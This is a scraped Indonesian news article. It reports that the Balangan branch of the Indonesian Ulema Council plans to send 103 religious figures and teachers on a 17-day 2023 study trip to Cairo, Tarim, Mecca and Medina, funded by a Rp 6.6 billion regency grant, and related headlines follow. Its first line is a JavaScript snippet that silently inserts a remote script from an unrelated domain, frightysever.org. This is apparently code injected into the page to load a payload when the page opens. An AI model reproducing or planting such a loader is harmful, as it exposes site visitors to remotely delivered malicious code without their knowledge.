(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,PARINGIN – Majelis Ulama Indonesia (MUI) Kabupaten Balangan siap mengirim tokoh agama dan guru agama ke Tarim, Hadramaut, Yaman dan Makkah-Madinah, Arab Saudi, mengikuti program Daurah Ilmiah tahun 2023.
Daurah Ilmiah sebagai pembekalan kepada para tokoh agama di Kabupaten Balangan menuntut ilmu, dan menambah khazanah ilmu agama, serta menyambungkan sanad (mata rantai) keilmuan di Tarim, Hadramaut, Yaman dan Madinaturrasul Makkah-Madinah.
Ketua MUI Balangan H Akhmad Yusuf mengatakan Daurah Ilmiah, akan dilaksanakan selama 17 hari dengan tujuan Mesir-Kairo selama dua hari, Tarim-Yaman selama tujuh hari, Makkah empat hari dan Madinah empat hari.
Pelaksanaan kegiatan Daurah Ilmiah tokoh agama Kabupaten Balangan dengan anggaran Rp 6,6 miliar bersumber dana hibah Pemkab Balangan kepada MUI Kabupaten Balangan tahun anggaran 2023.
Baca juga: Antrean Panjang Pemotor di Penyeberangan Dermaga Sanggam, Pemkab Tak Siap Antisipasi
“Total peserta dan pendamping Daurah Ilmiah ada 103 orang, terdiri dari tokoh agama, pengurus MUI, organisasi Islam, pimpinan pondok pesantren dan guru agama honorer yang di bawah naungan Kemenag yang mengajar di beberapa pondok pesantren,” ujar H Akhmad Yusuf.
H Akhmad Yusuf menambahkan saat ini usulan daftar nama sudah ada dan syarat utama adalah KTP Balangan. Tidak ada syarat lain, seperti tidak harus lulusan pondok pesantren karena bisa juga guru agama pengajian desa atau kampung.
Paling diutamakan bisa berbahasa arab karena perjalanan yang dituju adalah negara yang menggunakan bahasa Arab.
Saat ini MUI juga telah membuka penawaran atau tander kepada pihak ketiga. Pihak ketiga diharapkan bisa menyediakan biaya perjalanan yang lebih terjangkau dan bisa mengupayakan bertemu dengan Habib Umar bin Hafidz.
Baca juga: TF Pemilik Senpi Ratusan Amunisi Baru Menikah 4 Bulan, Begini Pengakuan Sang Istri
Selesai perjalanan diharapkan bisa menambah keilmuan dan bisa diterapkan kepada masyarakat.
Untuk peserta sendiri tersebar di seluruh kecamatan, sebagian besar adalah dari Kecamatan Tebing Tinggi dan Halong. Dua kecamatan itu cukup jauh karena terdapat banyak pejuang penguat agama Islam. (Kanalkalimantan.com/mcbalangan/adv)
Reporter: adv
Editor: kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.